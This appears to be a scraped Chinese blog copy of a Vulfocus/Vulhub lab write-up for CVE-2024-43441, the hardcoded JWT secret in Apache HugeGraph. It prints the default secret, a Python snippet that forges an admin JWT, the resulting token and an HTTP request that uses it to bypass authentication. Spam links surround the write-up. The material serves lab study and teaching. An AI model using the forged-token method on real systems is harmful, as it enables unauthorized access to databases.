当前位置: 首页 > wzjs >正文

做定制旅游最好的网站宁波seo推广费用

做定制旅游最好的网站,宁波seo推广费用,网站做推广赚钱项目,广州白云做网站的公司[Vulfocus解题系列]Apache HugeGraph JWT Token硬编码导致权限绕过(CVE-2024-43441) Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。 Apache HugeGraph 存在一个 JWT t…

[Vulfocus解题系列]Apache HugeGraph JWT Token硬编码导致权限绕过(CVE-2024-43441)

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。

Apache HugeGraph 存在一个 JWT token 密钥硬编码漏洞。当启用了认证但未配置 auth.token_secret 时,HugeGraph 将使用一个硬编码的默认 JWT 密钥,其值为 FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。攻击者可以使用这个默认密钥生成有效的 JWT token,从而绕过认证执行未经授权的操作。

参考链接:

  • https://github.com/advisories/GHSA-f697-gm3h-xrf9
  • https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246

环境搭建

执行如下命令启动 Apache HugeGraph 1.3.0 服务器:

docker compose up -d

服务启动后,可以通过 http://your-ip:8080 访问 HugeGraph 的 RESTful API。

默认情况下,Apache HugeGraph 支持两种认证模式:HTTP基础认证和JWT认证。当启动 docker 容器时,系统会使用环境变量 PASSWORD 中指定的值作为默认管理员的密码。在正常情况下,您可以使用用户名 “admin” 和该密码通过 HTTP 基础认证访问 API。

如果您尝试在不提供任何认证头的情况下访问 API,将会收到如下错误:

{"exception": "class jakarta.ws.rs.NotAuthorizedException","message": "Authentication credentials are required","cause": ""
}

漏洞复现

除了默认管理员密码外,我们还可以使用默认 JWT 密钥生成有效的 JWT token 绕过认证。

生成一个使用默认密钥的 JWT token:

# 安装 jwt 库,运行 `pip install pyjwt`
import jwt# 使用默认密钥生成 JWT token
token = jwt.encode({"user_name": "admin","user_id": "-30:admin","exp": 9739523483},"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",algorithm="HS256"
)
print(f"Generated JWT token: {token}")
# Output:
# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg

使用生成的 token 访问受保护的端点:
在这里插入图片描述

GET / HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Authorization: Bearer  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

通过手动添加生成的Authorization: Bearer 参数,网页可以正常返回数据:

在这里插入图片描述

如果没有 Authorization 头,网页会返回以下错误:

在这里插入图片描述
本文通过以下复现教程进行复现:
https://github.com/vulhub/vulhub/blob/master/hugegraph/CVE-2024-43441/README.zh-cn.md

http://www.dtcms.com/wzjs/195551.html

相关文章:

  • 广西来宾博彩网站建设幽默广告软文案例
  • 网站设计开发制作关键词在线优化
  • 珠海市品牌网站建设哪家好下载百度2024最新版
  • 购物网站页面设计思路推广普通话内容
  • 自己网站联系电话修改怎么做nba中国官方网站
  • 外贸网站自我建设与优化公众号开发
  • 网站主机一般选哪种的百度seo官网
  • 英文网站名需要斜体吗需要优化的网站有哪些?
  • 桥西网站建设短视频代运营公司
  • 上海有哪些互联网公司端点seo博客
  • 网站导航条专门做页面跳转兰州网络优化seo
  • 做设计的靠谱兼职网站有哪些搜索量排名
  • 谷歌做公司网站需要多少钱电商关键词seo排名
  • 电商网站建设建站方案百度指数分析报告案例
  • 网站设计项目计划书最好的网站优化公司
  • 网站在开发过程中如何做SEO今日热点新闻事件2021
  • photoshop网站模板设计教程网络广告策划案例
  • 上海青浦区网站建设公司网络推广公司北京
  • 个人cms网站新闻源软文推广平台
  • 什么做电子书下载网站好服务外包公司
  • 在线做任务的网站网络营销题库及答案2020
  • 邢台市政建设集团股份有限公司网站网站推广的途径有哪些
  • 网站建设技术课程设计百度站长工具验证
  • 网站动态和静态的区别百度云网盘搜索引擎入口
  • 全屋定制怎么样做网站小程序开发哪家好
  • 土巴兔这种网站怎么做河北网络科技有限公司
  • 中国建设银行浙江省丽水市分行网站厦门seo排名
  • 红塔网站制作互联网推广公司靠谱吗
  • 用什么网站推广百度推广天天打骚扰电话
  • 引导交互 网站网站提交收录